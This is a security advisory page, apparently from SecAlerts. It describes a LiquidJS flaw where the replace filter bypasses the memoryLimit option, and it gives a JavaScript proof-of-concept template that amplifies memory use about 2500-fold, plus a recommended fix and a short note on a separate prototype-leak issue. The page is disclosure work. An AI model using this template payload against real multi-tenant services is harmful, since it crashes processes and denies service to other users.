The Limiter class at src/util/limiter.ts:3-22 is a simple accumulator — it only checks at the time use() is called and has no post-hoc validation of actual memory allocated.

The memoryLimit option defaults to Infinity (src/liquid-options.ts:198), so this only affects deployments that explicitly enable memory limiting to protect against untrusted template input.

PoC

javascript const { Liquid } = require('liquidjs');

// User explicitly enables memoryLimit for DoS protection (10MB) const engine = new Liquid({ memoryLimit: 1e7 });

const inputLen = 5000; const aStr = 'a'.repeat(inputLen); const bStr = 'b'.repeat(inputLen);

// Template that should be blocked by 10MB memory limit const tpl = engine.parse( {%- assign s = "${aStr}" -%} + {%- assign r = "${bStr}" -%} + {{ s | replace: "a", r }} );

// This should throw "memory alloc limit exceeded" but succeeds const result = engine.renderSync(tpl);

console.log('Memory limit: 10,000,000 bytes'); console.log('Memory charged:', 10001, 'bytes'); console.log('Actual output:', result.length, 'bytes'); // 25,000,000 bytes console.log('Amplification:', Math.round(result.length / 10001) + 'x'); // Output: Amplification: 2500x — completely bypasses the 10MB limit

Impact

Users who deploy LiquidJS with memoryLimit enabled to process untrusted templates (e.g., multi-tenant SaaS platforms allowing custom templates) are not protected against memory exhaustion via the replace filter. An attacker who can author templates can allocate ~2,500x more memory than the configured limit allows, potentially causing:

- Node.js process out-of-memory crashes - Denial of service for co-tenant users on the same process - Resource exhaustion on the hosting infrastructure

The impact is limited to availability (no confidentiality or integrity impact), and requires both non-default configuration (memoryLimit enabled) and template authoring access.

Recommended Fix

Account for the actual output size in the memory limiter by calculating the number of occurrences:

typescript export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) { const str = stringify(v) pattern = stringify(pattern) replacement = stringify(replacement) const parts = str.split(pattern) const outputSize = str.length + (parts.length - 1) (replacement.length - pattern.length) this.context.memoryLimit.use(outputSize) return parts.join(replacement) }

This computes the exact output size: the original string length plus, for each occurrence, the difference between the replacement and pattern lengths. The split() result is reused to avoid computing it twice.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
Infoleak
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

The package liquidjs before 10.0.0 are vulnerable to Information Exposure when ownPropertyOnly parameter is set to False, which results in leaking properties of a prototype. Workaround For versions 9.34.0 and higher, an option to disable this functionality is provided.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203